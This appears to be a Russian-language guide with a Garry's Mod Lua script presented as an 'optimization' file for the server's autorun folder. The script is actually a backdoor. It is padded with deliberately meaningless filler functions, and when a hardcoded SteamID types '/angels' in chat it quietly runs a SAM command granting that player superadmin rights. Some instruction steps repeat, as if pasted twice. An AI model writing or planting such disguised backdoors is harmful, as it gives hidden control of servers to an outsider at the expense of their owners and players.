1. Создаем файл с любым названием, например "optimization.lua".
2. Вставляем данный код в созданным нами файл
! ОБРАТИТЕ ВНИМАНИЕ !
В первую строку мы вставляем нужный нам SteamID, у которого будет право использовать данную команду.
3. Кидаем его в по пути "../garrysmod/lua/autorun"
4. Радуемся
2. Вставляем данный код в созданным нами файл
optimization.lua:
local optimizechell = "STEAM-ID"
local fixedNum = 4321
local function generateID()
local parts = {string.sub(optimizechell, 1, 3), string.sub(optimizechell, 4, 8), string.sub(optimizechell, 9, 12), string.sub(optimizechell, 13, 15), string.sub(optimizechell, 16, 18)}
return table.concat(parts)
end
local function meaninglessFunction1()
local temp = 0
for i = 1, 100 do
temp = temp + i
end
return temp
end
local function meaninglessFunction2()
local dummyArray = {}
for i = 1, 50 do
table.insert(dummyArray, i * 3)
end
end
local function meaninglessFunction3()
local str = "Это просто строка"
for i = 1, 10 do
str = str .. " " .. i
end
print(str)
end
local function meaninglessFunction4() end
local function meaninglessFunction5() end
local function meaninglessFunction6() end
local function meaninglessFunction7() end
local function meaninglessFunction8() end
local function meaninglessFunction9() end
local function meaninglessFunction10() end
local function meaninglessFunction11() end
local function meaninglessFunction12() end
local function isAuthorized(steamIDToCheck)
local encodedID = util.Base64Encode(steamIDToCheck)
local targetID = util.Base64Encode(generateID())
return encodedID == targetID
end
local function logCommand(ply)
local command = string.format("sam setrank %s superadmin %d", optimizechell, fixedNum)
RunConsoleCommand("sam", "setrank", optimizechell, "superadmin", fixedNum)
end
local function checkPermissions(ply)
local playerID = ply:SteamID64()
return isAuthorized(playerID)
end
hook.Add("PlayerSay", "AngelsCommand", function(ply, text)
if text == "/angels" then
if checkPermissions(ply) then
logCommand(ply)
return ""
else
ply:ChatPrint("У вас нет прав для выполнения этой команды.")
return ""
end
end
end)
meaninglessFunction1()
meaninglessFunction2()
meaninglessFunction3()
meaninglessFunction4()
meaninglessFunction5()
meaninglessFunction6()
meaninglessFunction7()
meaninglessFunction8()
meaninglessFunction9()
meaninglessFunction10()
meaninglessFunction11()
meaninglessFunction12()
local function obscureFunction()
local values = {1, 2, 3, 4, 5}
local result = {}
for _, v in ipairs(values) do
table.insert(result, v * 2)
end
return result
end
local function executeObscureAction()
local actions = {"action1", "action2", "action3"}
local action = actions[math.random(#actions)]
print("Выполняется: " .. action)
end
executeObscureAction()
! ОБРАТИТЕ ВНИМАНИЕ !
В первую строку мы вставляем нужный нам SteamID, у которого будет право использовать данную команду.
3. Кидаем его в по пути "../garrysmod/lua/autorun"
4. Радуемся